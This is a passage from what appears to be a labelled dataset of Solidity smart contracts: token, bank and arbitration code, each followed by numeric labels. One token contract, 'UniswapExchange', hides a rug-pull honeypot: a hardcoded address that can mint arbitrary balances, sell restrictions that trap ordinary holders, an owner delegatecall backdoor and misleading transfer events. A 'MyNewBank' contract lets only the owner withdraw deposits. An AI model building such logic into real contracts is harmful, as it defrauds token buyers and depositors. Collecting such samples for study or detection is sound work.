earningsPerToken = add(earningsPerToken, rewardPerShare);
}
}
function reserve() internal constant returns (uint256 amount) {
return sub(balance(),
((uint256) ((int256) (earningsPerToken * totalSupply) - totalPayouts) / scaleFactor));
}
function getTokensForEther(uint256 ethervalue) public constant returns (uint256 tokens) {
return sub(fixedExp(fixedLog(reserve() + ethervalue)*crr_n/crr_d + price_coeff), totalSupply);
}
function calculateDividendTokens(uint256 ethervalue, uint256 subvalue) public constant returns (uint256 tokens) {
return sub(fixedExp(fixedLog(reserve() - subvalue + ethervalue)*crr_n/crr_d + price_coeff), totalSupply);
}
function getEtherForTokens(uint256 tokens) public constant returns (uint256 ethervalue) {
var reserveAmount = reserve();
if (tokens == totalSupply)
return reserveAmount;
return sub(reserveAmount, fixedExp((fixedLog(totalSupply - tokens) - price_coeff) * crr_d/crr_n));
}
int256 constant one = 0x10000000000000000;
uint256 constant sqrt2 = 0x16a09e667f3bcc908;
uint256 constant sqrtdot5 = 0x0b504f333f9de6484;
int256 constant ln2 = 0x0b17217f7d1cf79ac;
int256 constant ln2_64dot5 = 0x2cb53f09f05cc627c8;
int256 constant c1 = 0x1ffffffffff9dac9b;
int256 constant c3 = 0x0aaaaaaac16877908;
int256 constant c5 = 0x0666664e5e9fa0c99;
int256 constant c7 = 0x049254026a7630acf;
int256 constant c9 = 0x038bd75ed37753d68;
int256 constant c11 = 0x03284a0c14610924f;
function fixedLog(uint256 a) internal pure returns (int256 log) {
int32 scale = 0;
while (a > sqrt2) {
a /= 2;
scale++;
}
while (a <= sqrtdot5) {
a *= 2;
scale--;
}
int256 s = (((int256)(a) - one) * one) / ((int256)(a) + one);
var z = (s*s) / one;
return scale * ln2 +
(s*(c1 + (z*(c3 + (z*(c5 + (z*(c7 + (z*(c9 + (z*c11/one))
/one))/one))/one))/one))/one);
}
int256 constant c2 = 0x02aaaaaaaaa015db0;
int256 constant c4 = -0x000b60b60808399d1;
int256 constant c6 = 0x0000455956bccdd06;
int256 constant c8 = -0x000001b893ad04b3a;
function fixedExp(int256 a) internal pure returns (uint256 exp) {
int256 scale = (a + (ln2_64dot5)) / ln2 - 64;
a -= scale*ln2;
int256 z = (a*a) / one;
int256 R = ((int256)(2) * one) +
(z*(c2 + (z*(c4 + (z*(c6 + (z*c8/one))/one))/one))/one);
exp = (uint256) (((R + a) * one) / (R - a));
if (scale >= 0)
exp <<= scale;
else
exp >>= -scale;
return exp;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function () payable public {
if (msg.value > 0) {
fund();
} else {
withdrawOld(msg.sender);
}
}
} | 1 | 5,428 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,833 |
pragma solidity ^0.4.17;
contract owned {
address public owner;
function owned() {
owner=msg.sender;
}
modifier onlyowner{
if (msg.sender!=owner)
throw;
_;
}
}
contract MyNewBank is owned {
address public owner;
mapping (address=>uint) public deposits;
function init() {
owner=msg.sender;
}
function() payable {
deposit();
}
function deposit() payable {
if (msg.value >= 100 finney)
deposits[msg.sender]+=msg.value;
else
throw;
}
function withdraw(uint amount) public onlyowner {
require(amount>0);
uint depo = deposits[msg.sender];
if (amount <= depo)
msg.sender.send(amount);
else
revert();
}
function kill() onlyowner {
if(this.balance==0) {
selfdestruct(msg.sender);
}
}
} | 0 | 682 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract ERC20Basic {
uint256 public totalSupply;
bool public transfersEnabled;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 {
uint256 public totalSupply;
bool public transfersEnabled;
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
modifier onlyPayloadSize(uint numwords) {
assert(msg.data.length == numwords * 32 + 4);
_;
}
function transfer(address _to, uint256 _value) public onlyPayloadSize(2) returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(transfersEnabled);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping(address => mapping(address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3) returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(transfersEnabled);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public onlyPayloadSize(2) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract HyperTechnology is StandardToken {
string public constant name = "Hyper Technology";
string public constant symbol = "HTY";
uint8 public constant decimals = 8;
uint256 public constant INITIAL_SUPPLY = 70 * 10**7 * (10**uint256(decimals));
uint256 public weiRaised;
uint256 public tokenAllocated;
address public owner;
bool public saleToken = true;
event OwnerChanged(address indexed previousOwner, address indexed newOwner);
event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount);
event TokenLimitReached(uint256 tokenRaised, uint256 purchasedToken);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
function HyperTechnology() public {
totalSupply = INITIAL_SUPPLY;
owner = msg.sender;
balances[owner] = INITIAL_SUPPLY;
tokenAllocated = 0;
transfersEnabled = true;
}
function() payable public {
buyTokens(msg.sender);
}
function buyTokens(address _investor) public payable returns (uint256){
require(_investor != address(0));
require(saleToken == true);
address wallet = owner;
uint256 weiAmount = msg.value;
uint256 tokens = validPurchaseTokens(weiAmount);
if (tokens == 0) {revert();}
weiRaised = weiRaised.add(weiAmount);
tokenAllocated = tokenAllocated.add(tokens);
mint(_investor, tokens, owner);
TokenPurchase(_investor, weiAmount, tokens);
wallet.transfer(weiAmount);
return tokens;
}
function validPurchaseTokens(uint256 _weiAmount) public returns (uint256) {
uint256 addTokens = getTotalAmountOfTokens(_weiAmount);
if (addTokens > balances[owner]) {
TokenLimitReached(tokenAllocated, addTokens);
return 0;
}
return addTokens;
}
function getTotalAmountOfTokens(uint256 _weiAmount) internal pure returns (uint256) {
uint256 amountOfTokens = 0;
if(_weiAmount == 0){
amountOfTokens = 50 * (10**uint256(decimals));
}
if( _weiAmount == 0.001 ether){
amountOfTokens = 300 * (10**uint256(decimals));
}
if( _weiAmount == 0.002 ether){
amountOfTokens = 600 * (10**uint256(decimals));
}
if( _weiAmount == 0.003 ether){
amountOfTokens = 900 * (10**uint256(decimals));
}
if( _weiAmount == 0.004 ether){
amountOfTokens = 1200 * (10**uint256(decimals));
}
if( _weiAmount == 0.005 ether){
amountOfTokens = 1500 * (10**uint256(decimals));
}
if( _weiAmount == 0.006 ether){
amountOfTokens = 1800 * (10**uint256(decimals));
}
if( _weiAmount == 0.007 ether){
amountOfTokens = 2100 * (10**uint256(decimals));
}
if( _weiAmount == 0.008 ether){
amountOfTokens = 2400 * (10**uint256(decimals));
}
if( _weiAmount == 0.009 ether){
amountOfTokens = 2700 * (10**uint256(decimals));
}
if( _weiAmount == 0.01 ether){
amountOfTokens = 3000 * (10**uint256(decimals));
}
if( _weiAmount == 0.02 ether){
amountOfTokens = 6000 * (10**uint256(decimals));
}
if( _weiAmount == 0.03 ether){
amountOfTokens = 9000 * (10**uint256(decimals));
}
if( _weiAmount == 0.04 ether){
amountOfTokens = 12000 * (10**uint256(decimals));
}
if( _weiAmount == 0.05 ether){
amountOfTokens = 15000 * (10**uint256(decimals));
}
if( _weiAmount == 0.06 ether){
amountOfTokens = 18000 * (10**uint256(decimals));
}
if( _weiAmount == 0.07 ether){
amountOfTokens = 21000 * (10**uint256(decimals));
}
if( _weiAmount == 0.08 ether){
amountOfTokens = 24000 * (10**uint256(decimals));
}
if( _weiAmount == 0.09 ether){
amountOfTokens = 27000 * (10**uint256(decimals));
}
if( _weiAmount == 0.1 ether){
amountOfTokens = 30 * 10**3 * (10**uint256(decimals));
}
if( _weiAmount == 0.2 ether){
amountOfTokens = 60 * 10**3 * (10**uint256(decimals));
}
if( _weiAmount == 0.3 ether){
amountOfTokens = 90 * 10**3 * (10**uint256(decimals));
}
if( _weiAmount == 0.4 ether){
amountOfTokens = 120 * 10**3 * (10**uint256(decimals));
}
if( _weiAmount == 0.5 ether){
amountOfTokens = 225 * 10**3 * (10**uint256(decimals));
}
if( _weiAmount == 0.6 ether){
amountOfTokens = 180 * 10**3 * (10**uint256(decimals));
}
if( _weiAmount == 0.7 ether){
amountOfTokens = 210 * 10**3 * (10**uint256(decimals));
}
if( _weiAmount == 0.8 ether){
amountOfTokens = 240 * 10**3 * (10**uint256(decimals));
}
if( _weiAmount == 0.9 ether){
amountOfTokens = 270 * 10**3 * (10**uint256(decimals));
}
if( _weiAmount == 1 ether){
amountOfTokens = 600 * 10**3 * (10**uint256(decimals));
}
return amountOfTokens;
}
function mint(address _to, uint256 _amount, address _owner) internal returns (bool) {
require(_to != address(0));
require(_amount <= balances[_owner]);
balances[_to] = balances[_to].add(_amount);
balances[_owner] = balances[_owner].sub(_amount);
Transfer(_owner, _to, _amount);
return true;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function changeOwner(address _newOwner) onlyOwner public returns (bool){
require(_newOwner != address(0));
OwnerChanged(owner, _newOwner);
owner = _newOwner;
return true;
}
function startSale() public onlyOwner {
saleToken = true;
}
function stopSale() public onlyOwner {
saleToken = false;
}
function enableTransfers(bool _transfersEnabled) onlyOwner public {
transfersEnabled = _transfersEnabled;
}
function claimTokens() public onlyOwner {
owner.transfer(this.balance);
uint256 balance = balanceOf(this);
transfer(owner, balance);
Transfer(this, owner, balance);
}
} | 1 | 2,722 |
pragma solidity 0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256){
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256){
assert(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256){
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256){
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
uint256 public totalSupply;
function balanceOf(address who) constant public returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) constant public returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address owner;
function Ownable() public{
owner = msg.sender;
}
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public{
require(newOwner != address(0));
owner = newOwner;
}
}
contract StandardToken is ERC20 {
using SafeMath for uint256;
mapping (address => mapping (address => uint256)) allowed;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool){
assert(0 < _value);
assert(balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant public returns (uint256 balance){
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool){
uint256 _allowance = allowed[_from][msg.sender];
assert (balances[_from] >= _value);
assert (_allowance >= _value);
assert (_value > 0);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool){
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256 remaining){
return allowed[_owner][_spender];
}
}
contract Ammbr is StandardToken, Ownable {
string public name = '';
string public symbol = '';
uint8 public decimals = 0;
uint256 public maxMintBlock = 0;
event Mint(address indexed to, uint256 amount);
function mint(address _to, uint256 _amount) onlyOwner public returns (bool){
assert(maxMintBlock == 0);
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
maxMintBlock = 1;
return true;
}
function multiTransfer(address[] destinations, uint[] tokens) public returns (bool success){
assert(destinations.length > 0);
assert(destinations.length < 128);
assert(destinations.length == tokens.length);
uint8 i = 0;
uint totalTokensToTransfer = 0;
for (i = 0; i < destinations.length; i++){
assert(tokens[i] > 0);
totalTokensToTransfer += tokens[i];
}
assert (balances[msg.sender] > totalTokensToTransfer);
balances[msg.sender] = balances[msg.sender].sub(totalTokensToTransfer);
for (i = 0; i < destinations.length; i++){
balances[destinations[i]] = balances[destinations[i]].add(tokens[i]);
emit Transfer(msg.sender, destinations[i], tokens[i]);
}
return true;
}
function Ammbr(string _name , string _symbol , uint8 _decimals) public{
name = _name;
symbol = _symbol;
decimals = _decimals;
}
} | 1 | 5,090 |
pragma solidity 0.7.4;
interface IArbitrable {
event Ruling(IArbitrator indexed _arbitrator, uint256 indexed _disputeID, uint256 _ruling);
function rule(uint256 _disputeID, uint256 _ruling) external;
}
interface IArbitrator {
enum DisputeStatus {Waiting, Appealable, Solved}
event DisputeCreation(uint256 indexed _disputeID, IArbitrable indexed _arbitrable);
event AppealPossible(uint256 indexed _disputeID, IArbitrable indexed _arbitrable);
event AppealDecision(uint256 indexed _disputeID, IArbitrable indexed _arbitrable);
function createDispute(uint256 _choices, bytes calldata _extraData) external payable returns (uint256 disputeID);
function arbitrationCost(bytes calldata _extraData) external view returns (uint256 cost);
function appeal(uint256 _disputeID, bytes calldata _extraData) external payable;
function appealCost(uint256 _disputeID, bytes calldata _extraData) external view returns (uint256 cost);
function appealPeriod(uint256 _disputeID) external view returns (uint256 start, uint256 end);
function disputeStatus(uint256 _disputeID) external view returns (DisputeStatus status);
function currentRuling(uint256 _disputeID) external view returns (uint256 ruling);
}
interface IEvidence {
event MetaEvidence(uint256 indexed _metaEvidenceID, string _evidence);
event Evidence(
IArbitrator indexed _arbitrator,
uint256 indexed _evidenceGroupID,
address indexed _party,
string _evidence
);
event Dispute(
IArbitrator indexed _arbitrator,
uint256 indexed _disputeID,
uint256 _metaEvidenceID,
uint256 _evidenceGroupID
);
}
library CappedMath {
uint constant private UINT_MAX = 2**256 - 1;
function addCap(uint _a, uint _b) internal pure returns (uint) {
uint c = _a + _b;
return c >= _a ? c : UINT_MAX;
}
function subCap(uint _a, uint _b) internal pure returns (uint) {
if (_b > _a)
return 0;
else
return _a - _b;
}
function mulCap(uint _a, uint _b) internal pure returns (uint) {
if (_a == 0)
return 0;
uint c = _a * _b;
return c / _a == _b ? c : UINT_MAX;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Linguo is IArbitrable, IEvidence {
using CappedMath for uint256;
uint8 public constant VERSION_ID = 0;
uint256 public constant MULTIPLIER_DIVISOR = 10000;
uint256 private constant NOT_PAYABLE_VALUE = (2**256 - 2) / 2;
enum Status {Created, Assigned, AwaitingReview, DisputeCreated, Resolved}
enum Party {
None,
Translator,
Challenger
}
struct Task {
uint256 submissionTimeout;
uint256 minPrice;
uint256 maxPrice;
Status status;
uint256 lastInteraction;
address payable requester;
uint256 requesterDeposit;
uint256 sumDeposit;
address payable[3] parties;
uint256 disputeID;
Round[] rounds;
uint256 ruling;
}
struct Round {
uint256[3] paidFees;
bool[3] hasPaid;
uint256 feeRewards;
mapping(address => uint256[3]) contributions;
}
address public governor = msg.sender;
IArbitrator public immutable arbitrator;
bytes public arbitratorExtraData;
uint256 public reviewTimeout;
uint256 public translationMultiplier;
uint256 public challengeMultiplier;
uint256 public sharedStakeMultiplier;
uint256 public winnerStakeMultiplier;
uint256 public loserStakeMultiplier;
Task[] public tasks;
mapping(uint256 => uint256) public disputeIDtoTaskID;
event TaskCreated(uint256 indexed _taskID, address indexed _requester, uint256 _timestamp);
event TaskAssigned(uint256 indexed _taskID, address indexed _translator, uint256 _price, uint256 _timestamp);
event TranslationSubmitted(
uint256 indexed _taskID,
address indexed _translator,
string _translatedText,
uint256 _timestamp
);
event TranslationChallenged(uint256 indexed _taskID, address indexed _challenger, uint256 _timestamp);
